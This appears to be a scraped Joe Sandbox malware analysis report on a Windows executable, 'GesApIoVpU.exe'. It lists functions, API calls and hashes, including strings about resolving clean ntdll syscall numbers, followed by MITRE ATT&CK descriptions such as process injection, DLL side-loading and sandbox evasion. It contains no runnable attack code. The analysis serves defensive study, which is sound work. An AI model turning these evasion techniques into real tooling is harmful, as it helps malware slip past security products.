.data, xrefs: 00007FF6D25A112C
[*] NtOpenSection syscall number...........: %02x, xrefs: 00007FF6D25A120B
ntdll.dll, xrefs: 00007FF6D25A10B4
[*] NtOpenFile syscall number..............: %02x, xrefs: 00007FF6D25A11EF

Memory Dump Source

Source File: 00000000.00000002.2068035102.00007FF6D25A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D25A0000, based on PE: true

Associated: 00000000.00000002.2067789388.00007FF6D25A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068508714.00007FF6D25A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068582893.00007FF6D25A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d25a0000_GesApIoVpU.jbxd

Similarity

API ID: printf$Virtual$AllocProtect__acrt_iob_func__stdio_common_vfprintf_wcsnicmp
String ID: .data$[!] Cannot allocate memory for syscals stubs.$[!] Cannot find NTDLL.$[*] NtCreateSection syscall number.........: %02x$[*] NtMapViewOfSection syscall number......: %02x$[*] NtOpenFile syscall number..............: %02x$[*] NtOpenSection syscall number...........: %02x$[*] Parsing LdrpThunkSignature For Clean Syscalls.$ntdll.dll
API String ID: 3446100313-3203066525
Opcode ID: c4fb6a64e285f025b2dd7b4954e966771b637f8367b8ac5cfb684afa2db38014
Instruction ID: 11c8580016ba0482f6621e7dac206b5e3b9a85218f3f977a098707d4a50c8b12
Opcode Fuzzy Hash: c4fb6a64e285f025b2dd7b4954e966771b637f8367b8ac5cfb684afa2db38014
Instruction Fuzzy Hash: AA718D26A1864982EB109F15E442E7D7BA0FFC4B98F548137CA4D877A5DEBCF861C720

Function 00007FF6D25A1A34 Relevance: 13.6, APIs: 9, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6D25A1A48
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6D25A1A5D
__scrt_release_startup_lock.LIBCMT ref: 00007FF6D25A1ACB
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D25A1B19
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D25A1B1E
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D25A1B26
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D25A1B2E
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D25A1B50
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6D25A1BAA

Memory Dump Source

Source File: 00000000.00000002.2068035102.00007FF6D25A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D25A0000, based on PE: true

Associated: 00000000.00000002.2067789388.00007FF6D25A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068508714.00007FF6D25A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068582893.00007FF6D25A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d25a0000_GesApIoVpU.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 120244420-0
Opcode ID: 05778728840da570b37273fd8b88859eec4bde9f80d254427fb08511bcc2c7df
Instruction ID: 78072c7de011619d2c6bb8b303e062ce3b968128bdd6baad4aa499c6561470e0
Opcode Fuzzy Hash: 05778728840da570b37273fd8b88859eec4bde9f80d254427fb08511bcc2c7df
Instruction Fuzzy Hash: 6B311D21A4D14E41EB14AF259567FBD2291AF8578CF448037D60ECB2E7EEADF8258270

Non-executed Functions

Function 00007FF6D25A20B0 Relevance: 13.6, APIs: 9, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6D25A20CC
memset.VCRUNTIME140 ref: 00007FF6D25A20F0
RtlCaptureContext.KERNEL32 ref: 00007FF6D25A20F9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6D25A2113
RtlVirtualUnwind.KERNEL32 ref: 00007FF6D25A2154
memset.VCRUNTIME140 ref: 00007FF6D25A2187
IsDebuggerPresent.KERNEL32 ref: 00007FF6D25A21A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6D25A21C9
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6D25A21D4

Memory Dump Source

Source File: 00000000.00000002.2068035102.00007FF6D25A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D25A0000, based on PE: true

Associated: 00000000.00000002.2067789388.00007FF6D25A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068508714.00007FF6D25A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068582893.00007FF6D25A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d25a0000_GesApIoVpU.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 318deca273402c680eef2276bbcd3dc1456a643cb717147b589ec6ee87fdda17
Instruction ID: 48248e75444b965dd44575a3bcc5d5450100be49177cc1c5027ddc3a2e0adea5
Opcode Fuzzy Hash: 318deca273402c680eef2276bbcd3dc1456a643cb717147b589ec6ee87fdda17
Instruction Fuzzy Hash: D4316272609A8595EB609F60E852BFD7360FB84748F44403ADA4E87788DF7CE558C710

Function 00007FF6D25A2258 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2068035102.00007FF6D25A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D25A0000, based on PE: true

Associated: 00000000.00000002.2067789388.00007FF6D25A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068508714.00007FF6D25A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068582893.00007FF6D25A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d25a0000_GesApIoVpU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb274de3c1f8bb1215ec636cc87a6d02b522714a5a38c6da363feac6ae4a8357
Instruction ID: 86d5c92b9ff5d75d739a7454f1952164cafcc677930b0eb7dee58613071da5b9
Opcode Fuzzy Hash: eb274de3c1f8bb1215ec636cc87a6d02b522714a5a38c6da363feac6ae4a8357
Instruction Fuzzy Hash: 5AA0012298C80AA0E7048F05A853D386220FB50308B404132C00DC1464DFBCB464C221

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GesApIoVpU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_GesApIoVpU.exe_5ea3397a741e5f68ac27938378e376aaae817630_80bf81c8_24071944-6c9e-4368-85e3-787597bc2646\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6991.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A6D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A8D.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

Windows Analysis Report
GesApIoVpU.exe

Function 00007FF6D25A13B0 Relevance: 82.5, APIs: 26, Strings: 21, Instructions: 205
libraryloaderCOMMON

Function 00007FF6D25A1740 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 109
memorynetworkfileCOMMON

Function 00007FF6D25A1070 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 150
memoryCOMMON

Function 00007FF6D25A1A34 Relevance: 13.6, APIs: 9, Instructions: 94
COMMON

Function 00007FF6D25A20B0 Relevance: 13.6, APIs: 9, Instructions: 72
COMMON